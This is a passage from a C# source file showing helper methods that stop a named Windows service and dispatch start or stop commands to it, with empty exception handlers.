            catch (Exception ex)
            {

            }
        }
        public void StopService(string servicename)
        {
            try
            {
                ServiceController service = new ServiceController();
                service.ServiceName = servicename;
                service.Stop();
            }
            catch (Exception ex)
            {

            }
        }

        public void Service(string cmd, string servicename)
        {
            switch (cmd)
            {
                case "START":
                    StartService(servicename);
                    break;
                default:
                    StopService(servicename);
                    break;
            }
        }
        #endregion
    }

   
}


